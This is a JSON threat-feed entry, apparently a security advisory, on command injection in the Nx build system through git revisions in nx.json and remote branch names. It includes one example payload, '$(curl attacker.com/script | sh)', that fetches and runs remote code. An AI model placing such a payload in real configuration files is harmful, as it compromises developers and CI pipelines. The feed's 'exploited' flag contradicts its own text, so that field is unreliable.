{"description":"Trending threats, MITRE ATT\u0026CK coverage, and detection metadata. Fed continuously.","favicon":"https://feed.craftedsignal.io/favicon-32x32.png","feed_url":"https://feed.craftedsignal.io/products/nx-14.6.0-22.7.8-23.0.0-23.1.1/feed.json","home_page_url":"https://feed.craftedsignal.io/","icon":"https://feed.craftedsignal.io/apple-touch-icon.png","items":[{"_cs_actors":[],"_cs_cpes":[],"_cs_cves":[],"_cs_exploited":true,"_cs_has_poc":false,"_cs_poc_references":[],"_cs_products":["nx (\u003e= 14.0.0, \u003c 22.7.8)","nx (\u003e= 23.0.0, \u003c 23.1.1)","nx (14.6.0-22.7.8, 23.0.0-23.1.1)"],"_cs_severities":["high"],"_cs_tags":["command-injection","build-system","ci-cd","remote-code-execution","vulnerability","local-exploitation","privilege-escalation"],"_cs_type":"threat","_cs_vendors":["Nx"],"content_html":"\u003cp\u003eNx core is vulnerable to multiple OS command injection flaws where untrusted git inputs are interpolated into shell command strings. The vulnerabilities exist in two primary workflows: \u003ccode\u003eaffected\u003c/code\u003e commands and \u003ccode\u003enx import\u003c/code\u003e. In the \u003ccode\u003eaffected\u003c/code\u003e workflow, values from \u003ccode\u003enx.json\u003c/code\u003e (\u003ccode\u003edefaultBase\u003c/code\u003e / \u003ccode\u003eaffected.defaultBase\u003c/code\u003e) or the \u003ccode\u003eNX_BASE\u003c/code\u003e / \u003ccode\u003eNX_HEAD\u003c/code\u003e environment variables are used to construct \u003ccode\u003egit\u003c/code\u003e commands. Because these strings are processed by \u003ccode\u003e/bin/sh\u003c/code\u003e without proper sanitization, an attacker can inject command substitution payloads using \u003ccode\u003e$(...)\u003c/code\u003e syntax, even when wrapped in double quotes.\u003c/p\u003e\n\u003cp\u003eIn the \u003ccode\u003enx import\u003c/code\u003e workflow, the \u003ccode\u003eGitRepository\u003c/code\u003e helper interpolates remote branch names - controlled by the owner of a remote repository - into various \u003ccode\u003egit\u003c/code\u003e operations including \u003ccode\u003efetch\u003c/code\u003e, \u003ccode\u003echeckout\u003c/code\u003e, and \u003ccode\u003econfig\u003c/code\u003e. An attacker who controls a repository can force arbitrary command execution on any machine that runs an \u003ccode\u003enx\u003c/code\u003e command against it. This is particularly critical in CI/CD environments where pull requests containing modified \u003ccode\u003enx.json\u003c/code\u003e files are automatically processed by runners. This vulnerability affects Nx versions \u0026gt;= 14.0.0 and \u0026lt; 22.7.8, and versions 23.0.0 to 23.1.0.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker crafts a malicious repository or a pull request containing a manipulated \u003ccode\u003enx.json\u003c/code\u003e file.\u003c/li\u003e\n\u003cli\u003eThe attacker modifies the \u003ccode\u003edefaultBase\u003c/code\u003e or \u003ccode\u003eaffected.defaultBase\u003c/code\u003e field in \u003ccode\u003enx.json\u003c/code\u003e to include shell command substitution payloads (e.g., \u003ccode\u003e$(curl attacker.com/script | sh)\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eA victim (developer or CI/CD runner) clones the repository or fetches the attacker's pull request branch.\u003c/li\u003e\n\u003cli\u003eThe victim executes a standard Nx command, such as \u003ccode\u003enx affected\u003c/code\u003e or \u003ccode\u003enx show projects --affected\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe Nx CLI reads the manipulated \u003ccode\u003enx.json\u003c/code\u003e configuration and builds a \u003ccode\u003egit merge-base\u003c/code\u003e or \u003ccode\u003egit diff\u003c/code\u003e shell command string containing the malicious payload.\u003c/li\u003e\n\u003cli\u003eThe system executes the resulting string via \u003ccode\u003e/bin/sh\u003c/code\u003e, triggering the command substitution and executing the attacker's code.\u003c/li\u003e\n\u003cli\u003eThe attacker's payload executes with the privileges of the victim user or CI service account.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation allows for arbitrary command execution on developer workstations or CI/CD build servers. If triggered in a CI environment, this could lead to full compromise of the build pipeline, exfiltration of environment secrets (e.g., cloud credentials, API keys), or the injection of malicious code into downstream software artifacts. There are no known instances of exploitation in the wild at this time, but the vector is highly accessible to anyone capable of submitting a pull request to an Nx-based project.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cp\u003ePrioritized actions for security teams:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade all instances of \u003ccode\u003enx\u003c/code\u003e to version 22.7.8 or 23.1.1 immediately using the \u003ccode\u003enx migrate\u003c/code\u003e command.\u003c/li\u003e\n\u003cli\u003eFor CI/CD environments, audit build configurations to ensure that \u003ccode\u003enx.json\u003c/code\u003e files from untrusted sources or external pull requests are treated as untrusted and not processed automatically in privileged contexts.\u003c/li\u003e\n\u003cli\u003eMonitor CI/CD logs for unexpected child processes spawned by the \u003ccode\u003enx\u003c/code\u003e CLI or related \u003ccode\u003egit\u003c/code\u003e sub-processes.\u003c/li\u003e\n\u003cli\u003eRestrict \u003ccode\u003enx import\u003c/code\u003e usage to verified and trusted repositories only.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-10-06T00:45:42Z","date_published":"2026-10-06T00:45:33Z","id":"https://feed.craftedsignal.io/briefs/2026-10-nx-command-injection/","summary":"The Nx build system contains OS command injection vulnerabilities in `nx affected` and `nx import` commands, allowing attackers to execute arbitrary code via malicious git revision strings or remote branch names.","title":"OS Command Injection in Nx via Git Revisions and Remote Refs","url":"https://feed.craftedsignal.io/briefs/2026-10-nx-command-injection/"}],"language":"en","title":"CraftedSignal Threat Feed - Nx (14.6.0-22.7.8, 23.0.0-23.1.1)","version":"https://jsonfeed.org/version/1.1"}